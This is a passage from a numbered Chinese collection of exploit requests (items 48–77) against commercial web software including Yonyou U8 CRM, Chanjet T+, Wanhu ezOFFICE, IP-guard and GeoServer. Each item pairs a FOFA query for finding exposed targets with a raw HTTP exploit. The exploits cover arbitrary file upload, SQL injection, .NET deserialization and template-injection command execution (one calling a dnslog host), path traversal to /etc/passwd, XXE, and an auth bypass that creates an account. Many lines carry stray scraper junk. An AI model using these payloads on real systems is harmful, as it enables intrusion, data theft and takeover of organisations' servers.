48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
1 @, [& w1 t2 K- t5 T# k3 U6 QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; F3 L7 s' a4 X* CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
9 D3 m( Q$ y$ Z* F9 R2 RContent-Type: application/octet-stream
* _# Z, Q& h5 ]% j------269520967239406871642430066855
7 D4 Y1 C( B, V: L6 JContent-Disposition: form-data; name="upload"
( f" k  }5 k- q6 K! b* vupload
- s8 K9 O& O* R( A4 @. r, ^------269520967239406871642430066855--
, Q4 ^8 ]% x- e, F" F

; J/ m2 Z' s8 @8 |5 p6 {9 |0 Y- q49. 用友U8 CRM系统uploadfile.php接口任意文件上传
- e/ h/ v- X$ K+ a" A* T# b" b7 p% RFOFA：body="用友U8CRM"
' B* K4 K- G4 b& _% n8 R
  j) D3 }/ q3 T% K& dPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
" i4 |! ~& c  i$ U+ EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 L- s( X0 e( Y/ uContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 H* W% K. F3 p. R$ s  f) P0 uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 E$ E1 p3 }1 wConnection: close
0 K: M0 N5 w, W: Q) J, LContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
9 C, ], z  ]: Z8 d
% v3 w) V" H: N7 p1 b) s+ M) n-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
) E# L* D1 j1 e6 [$ |Content-Type: application/octet-stream
3 ^% B) f; l$ ^4 `3 q. I: J
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
2 Y1 K/ E) u' |1 |* IContent-Disposition: form-data; name="upload"
  r4 o% p! o: Y; s& \$ Z. Y
upload
( m5 w( U8 q' G/ @4 S: p-----------------------------vvv3wdayqv3yppdxvn3w--
3 a" ?0 T& g4 ~# O8 N
* ~7 t2 q) E- a( ?, Y6 t. [6 C: q1 Y
http://x.x.x.x/tmpfile/updB3CB.tmp.php

1 Q6 a1 l' o  h. x: P% r( x( x50. QDocs Smart School 6.4.1 filterRecords SQL注入
7 H6 u( P3 U  KFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( o" O. ?( r3 @' W( d3 D3 ~Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
1 |7 l, m: B; |$ }- UContent-Type: application/x-www-form-urlencoded
. j- s2 g- b# i' R) z" v2 w1 B# cAccept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

$ ~' r; N- x+ H1 q( Q
; r* e, |$ l* s* e2 ^51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
2 N" Y, ^5 K& UFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
" h9 e# N& N9 h0 I1 }* EHost: your-ip
5 Z9 x  Z2 C6 r5 d* SUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
6 H# g1 d0 H3 G" n. ?5 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
$ |/ J/ [8 E# I$ q0 r4 H6 e5 cAccept-Language: zh-CN,zh;q=0.9
Connection: close
0 {* y" ^) @( ^) }, T% ~  E6 }6 f! C) R

" M) c" a7 }/ ?1 \& g$ r52. 泛微E-Office json_common.php sql注入
' P/ a7 \/ d8 |: Z( D9 eFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
. x" K" h+ X. h9 j% @; EUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# ~8 D8 {1 a2 s* O' fConnection: close
, Y: ]! z: S+ i# JContent-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
: q8 P2 U. P9 w% b/ i2 i, l- g8 XAccept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


! w' E$ Y. N3 [) i% s; e  E- Z, x53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


& n1 K7 ]" ^* G5 z54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
- \5 z) x/ C& K7 z' C3 n: q第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
% [6 \& z5 r7 r! X( E1 {"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


9 m- L; e4 X. O% W3 O完整数据包
& _2 h5 Q6 k8 {1 Q" K! KPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
* G! g% o. ~1 U" M! i9 H2 RUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
  E. k. C6 Z( ]% k# M
- a. v( N& E1 U1 S8 E{
5 ?' S5 T$ O: h. L7 a"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
9 W- n1 _& J5 a& k+ u- Q: c "MethodName":"Start",
" F0 \- h9 C: D+ l6 w  "ObjectInstance":{
* V, Z' W0 t0 V* j6 T* ^   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
/ A  G+ e6 X9 f" p   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
; q' D0 k, h9 d; v" f7 y% j    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
. q7 q1 D8 s6 A2 z6 N    }
  }
5 n0 C' j: c, E  }
}
8 |) a+ N0 ^5 P0 B$ i! Z$ D
1 |0 |% k+ W. @8 b+ g) @: a
2 \# p+ `' d5 |; K+ g第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

& n2 B  ?9 }9 h2 l. q
" G2 H1 A0 {9 m3 S/ z% r55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
- B4 `7 Y3 \1 p* w. d第一步，通过
! c# j' k8 Y. z7 }0 U1 T$ T/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
) _7 Y: q/ T# i" f* c8 nFOFA: app="畅捷通-TPlus"
2 U; B: h9 ]' @* j6 i! EPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
/ N7 J+ J6 |& E# g  _$ k6 \: {( I
" L2 e3 V2 O( o. m; L{
  "storeID":{
, j0 q  `& _: Z) d2 G! h' g. V    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
; Z9 V" C" N" C% k! F7 I. B! c   "MethodName":"Start",
% ~' v0 `6 m4 j3 X* k- l    "ObjectInstance":{
2 s/ y" N, l7 B" O0 c7 Y       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
, ~- ?" g; s4 R5 r% \( a; @" T           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' e1 [% _9 [; J. }           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  `, S3 u' s! u) ?& |  }
! \1 T$ L# X. X( b5 J}
4 m! _3 a! K% m6 B" }3 T
* p$ k4 S! H* A! s9 r
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
5 `8 H1 V9 T. _- [; m( Z* w: O0 k+ _GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
2 V" r3 ?  T- w$ M. s  B) x4 R1 LAccept-Charset: utf-8
) k5 ]" c& H# @+ oAccept-Encoding: gzip, deflate
6 f+ y# X1 ?8 ~Connection: close


9 c, |1 b( x- i: M- O2 T58. 畅捷通T+ KeyInfoList.aspx sql注入
. u4 u! u( e( n" M- HFOFA：app="畅捷通-TPlus"
) A! Y1 O) d) N9 L# E: g/ {GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
7 v. a5 L: D, O1 M6 x0 e2 d( ]Host: your-ip
" V5 j+ @3 o2 _! b* }, H+ WUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
8 q$ g" C$ @5 z( PAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

8 X  s0 k+ }; Q! c/ L
6 L5 \* f. a7 B2 x7 E' z6 H59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
& x0 I" r  E6 a9 v5 f6 tFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
( Y6 @& @8 f) O% P! _  z5 eHost: 192.168.86.128:9090
7 `4 v# |( R# k7 {9 j' jUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
- n% l; z' X+ y9 S, I; ]* x8 RConnection: close
Content-Length: 1669
% j0 Z$ ~7 Y" c# r# O2 [Accept: */*
1 r6 n! J! d; {- Z3 U0 ~' B9 ~7 wAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD
/ W& q% ^$ X5 {) J
! m  z, X" f9 Z* x9 r2 Z
60. 百卓Smart管理平台 importexport.php SQL注入
6 N% V0 ^$ [2 ~% t6 z5 I! SFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
( [7 w  G% }  O8 |& ^1 G+ j3 N
# o4 Y, u2 v7 \5 F" s$ ]
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
0 I7 C# ^; m( O# G, w  IPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
" G1 [4 F5 x; R7 W0 i$ yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: _( u* p! _/ `* s/ \Connection: close
( v# K; b! T* B" J5 HContent-Length: 27
  g* @" w1 f* y# V) g# j* s6 f! VAccept: */*
; f. v: X! H7 R* HAccept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

+ l" D. U8 _8 A' j* G# q8uxssX66eqrqtKObcVa0kid98xa
9 X9 z) w* F, S
) U( S6 m5 f$ O+ E& E
1 c- a, ]$ e. a( j+ g" c# n0 b62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
% R. [5 u" b3 N: K' K( V6 ?Accept-Language: en
Accept-Encoding: gzip


访问

  w7 b& M1 c) OGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
: M" Y( s2 a, ~8 BHost: x.x.x.x
8 W" L9 h  U4 q" N8 H) L" c: Z
! D/ m  a, |) L! q9 T) A) F
63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
2 ]6 E. c8 X0 M6 v; SFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
& j& z, m# C$ b- D( |: N# A. x5 A, vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
" m1 h3 x2 F6 w0 M# dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
3 k# E# o) r2 d; H  l4 ]Content-Type: application/x-www-form-urlencoded

+ k/ t% s$ {, Jpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
" t6 r$ z3 [# m  B9 i  J
7 ]% X5 O( G. w  z" _64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
' `) l8 L- e, W  G. @% T$ }POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
" y0 w4 j3 Q% ~0 c7 pContent-Length: 369
Accept: */*
  Y4 Q; W& q7 M' ~" w1 sAccept-Language: en
Content-Type: text/xml; charset=utf-8
4 c* s. |2 B- v# Z  l' T* HAccept-Encoding: gzip
$ u) B/ P9 V9 b. T6 {  j: n& G% y  o
<?xml version="1.0" encoding="utf-8"?>
! v4 \+ C: q+ Q& `# O- u<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
% w' n. W- y/ `( ]) e<soap:Body>
5 @6 f; a9 g! d. f- y    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>


- q/ Z5 `, e7 ^$ {/ u65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
1 n/ z: Z2 m: ?1 U6 {FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
) G5 C& g3 h0 _POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
# O  i3 g( p1 @1 O0 K8 ], r3 ?Connection: close
# [% E8 B$ r. t: m! aAccept-Language: en
Content-Length: 174

; Q& H3 J2 B- ^$ n2 n+ q! ooperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
1 \! R8 f, ], s7 E- z* |' YFOFA：app="万户ezOFFICE协同管理平台"

6 ~" N) c5 R7 ]! b' [GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
7 J" J0 q' T# ?Connection: close
$ g" P2 Z/ G# T  vAccept: */*
Accept-Language: en
/ W4 H+ d* i/ _" x# CAccept-Encoding: gzip

' q( h/ E9 k# ?
# ]; j! {' M( B3 b4 Y3 `第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
0 `( A% {1 X; N* e5 d# `, p+ hnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
" n4 J0 S4 x, c- gPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
1 S& T# ?; X1 ]. NUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
" Z: m, O/ J, eContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
9 i% u5 {1 n( j( ~5 gDNT: 1
Upgrade-Insecure-Requests: 1
/ L8 S$ b0 T- P8 g% h$ H
7 `9 s# c' `( J5 K3 R--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

3 @  V0 B+ V" q: U; K8 H<% out.print("sasdfghjkj");%>
% |. V8 p( ^) x4 S--ufuadpxathqvxfqnuyuqaozvseiueerp--

4 E: B. N4 ?, {* I0 W) Z' [1 W
& X( E- g, e/ @! e文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

1 w2 {# z4 j0 [) C3 R' w" A+ ^68. 万户ezOFFICE wf_printnum.jsp SQL注入
; J% b: P5 Q' PFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
' L! e, ?  H2 M" p/ g( h( nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& X% b, W7 z) T8 YConnection: close
% u+ w* n& g/ Q' G. I3 C5 X

69. 万户 ezOFFICE contract_gd.jsp SQL注入
4 k: h) y2 j* A1 [# Q1 x1 S  U9 rFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
* {5 \2 _8 O3 e) z

3 e+ n  U8 @, `# x; u/ j4 W70. 万户ezEIP success 命令执行
0 t$ I) L( U) R( b) ?/ cFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
8 K) x- n1 [7 T. u3 I0 u# cSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
, ?% x/ p6 ~9 P% _: }* sContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702
8 U/ C  C- }+ |" q2 d! X
% ]* ~) H+ C4 c) |__VIEWSTATE=PAYLOAD
3 ~) l5 ?- ]( w: u! d9 l  [

* H1 q: Y) c! m# n71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
4 e6 Q4 q( B* M+ [; Y! q8 d- k& TGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
6 I  W8 z  b) m. C, f( l! GHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
8 S1 x! {; G# J7 z& |Connection: close
1 @" R1 c3 l' V. o# xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
* C4 E" g4 A0 [' ^( W8 w' t0 ]& Q* dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
: |% @# x: g/ U) f/ J
2 T$ y2 s: R1 _- ?. b( a6 ^- g
0 H9 h3 F5 K; M6 {9 f5 B* [72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
+ P* g" |! L- u) e- z2 S* QUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
" m8 y; q% Y; v) s* y7 jAccept-Encoding: gzip
5 E' Q/ |5 W, ~( L
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
$ _# Y' d& j% T

; d. {( }( ~+ w8 w& W+ T73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
! M' a' Z/ g9 m: H8 r% E# Q( Z) S( H1 \POST /geoserver/wms HTTP/1.1
Host:
( g' ~5 e5 u7 }, a1 v' PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3
! R9 I0 U" O. S( h3 a. h: |
PAYLOAD
7 I- n  A! i. ^9 ~

74. 致远M3-server 6_1sp1 反序列化RCE
$ O! ~6 @8 b5 C% bFOFA：title="M3-Server"
/ I! Z: _- o! I" I  hPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
; y2 j* d; x7 h: o! ]FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 J+ n# f3 ]* Y' A& m& n* o. X% _Connection: close
Accept: */*
Accept-Language: en
' c# s0 z# L+ a1 ^: i. I. y  IAccept-Encoding: gzip
# A1 q& v: ~& \1 Q- n

GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
) J7 N- h! b4 W5 Z5 m

! ~9 a3 g$ }4 R1 Z76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
# [0 @0 S- {( u9 c, `- j- XPOST /service_transport/service.action HTTP/1.1
9 I! F# A) B! O; F' j) u  |& mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
, t3 h8 W1 }1 F: @Content-Length: 211
3 d' o( F3 W2 B. G; ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* D4 h5 H) b& U5 i: XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  ^) L8 U8 v  J& h2 k# tCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
4 t; e$ N  O( K( A4 ]
! s- s3 n6 U9 g+ H{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

- X* F3 J, f$ U
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

! u& g% ]2 A- f4 [9 ?. ]

* z0 p! V5 X9 V8 {6 ~3 b77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
+ ^2 |8 E- h& y# L% v; I* l  PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 ~3 S! @" Z4 ?# S0 pConnection: close
Content-Length: 433
Accept: */*
: w+ K5 }4 l3 o! Y) R6 P& b; t: ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
- U7 V. C3 l! K; ?. {% J( x( i------------398jnjVTTlDVXHlE7yYnfwBoix
0 T7 I" ^3 E5 X8 Y' W, kContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
; m, x  M3 a% M  H, e' i* z
